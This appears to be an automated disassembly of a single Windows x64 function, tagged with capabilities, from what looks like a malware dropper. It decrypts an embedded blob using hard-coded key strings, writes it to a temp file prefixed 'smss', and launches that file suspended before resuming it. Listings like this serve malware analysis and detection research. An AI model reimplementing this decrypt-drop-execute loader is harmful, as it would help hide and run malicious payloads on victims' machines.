Function at 0x4011fe
Capabilities:
Create process on windows
Create process suspended
Get common file path
Resume thread
Write and execute a file
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x530
lea rax, str.Starting_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
call section..text
cmp eax, 0
je 0x40123a
lea rax, str.This_OS_is_not_compatible_with_this_program._n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0xffffffff
jmp 0x401638
lea rax, str.x5GrksOZeh83e5KF
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_strlen
mov qword [rbp - 0x28], rax
lea rax, str.cSxRH2jcDXfFoaML
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_strlen
mov qword [rbp - 0x30], rax
movabs rax, 0x10
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
movabs rax, 0x10
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x20]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov rax, qword [rbp - 0x28]
mov r8, rax
lea rax, str.x5GrksOZeh83e5KF
mov r11, rax
lea rax, [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp - 0x30]
mov r8, rax
lea rax, str.cSxRH2jcDXfFoaML
mov r11, rax
lea rax, [rbp - 0x20]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memcpy
lea rax, str.x5GrksOZeh83e5KF
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, str.cSxRH2jcDXfFoaML
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov rax, qword [0x0066e428]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
cmp rax, 0
jne 0x40135e
lea rax, str.Failed_to_allocate_memory_for_decryptedData
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_perror
mov eax, 1
jmp 0x401638
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x10]
mov r9, rax
mov rax, qword [rbp - 0x38]
mov r8, rax
mov eax, dword [0x0066e428]
mov r11, rax
lea rax, [0x00404022]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401114
mov dword [rbp - 0x3c], eax
lea rax, [rbp - 0x244]
mov r11, rax
mov eax, 0x104
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetTempPathW
lea rax, [rbp - 0x44c]
mov r9, rax
mov eax, 0
mov r8, rax
lea rax, str.smss
mov r11, rax
lea rax, [rbp - 0x244]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetTempFileNameW
lea rax, [0x0066e4e2]
mov r11, rax
lea rax, [rbp - 0x44c]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll__wfopen
mov qword [rbp - 0x458], rax
mov rax, qword [rbp - 0x458]
cmp rax, 0
je 0x401464
mov eax, dword [rbp - 0x3c]
movsxd rax, eax
mov rcx, qword [rbp - 0x458]
mov r9, rcx
mov r8, rax
movabs rax, 1
mov r11, rax
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp - 0x458]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_fclose
jmp 0x401480
lea rax, str.Failed_to_open_file_for_writing._n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0xffffffff
jmp 0x401638
mov eax, 0x68
mov dword [rbp - 0x4c0], eax
movabs rax, 0x64
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x4bc]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
movabs rax, 0
mov qword [rbp - 0x4d8], rax
movabs rax, 0x10
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x4d0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov eax, 1
mov dword [rbp - 0x484], eax
mov eax, 0
mov word [rbp - 0x480], ax
lea rax, [rbp - 0x4d8]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x4c0]
mov qword [rsp + 0x40], rax
movabs rax, 0
mov qword [rsp + 0x38], rax
movabs rax, 0
mov qword [rsp + 0x30], rax
mov eax, 4
mov qword [rsp + 0x28], rax
mov eax, 0
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
movabs rax, 0
mov r8, rax
movabs rax, 0
mov r11, rax
lea rax, [rbp - 0x44c]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_CreateProcessW
cmp eax, 0
je 0x40159b
jmp 0x4015c2
call sub.kernel32.dll_GetLastError
mov r11, rax
lea rax, str.CreateProcess_failed___d_._n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0xffffffff
jmp 0x401638
mov eax, dword [rbp - 0x4c8]
mov r11, rax
lea rax, str.Started_process_ID:__lu_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov rax, qword [rbp - 0x4d0]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_ResumeThread
mov eax, 0xffffffff
mov r11, rax
mov rax, qword [rbp - 0x4d8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_WaitForSingleObject
mov rax, qword [rbp - 0x4d8]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
mov rax, qword [rbp - 0x4d0]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
mov eax, 0
leave
ret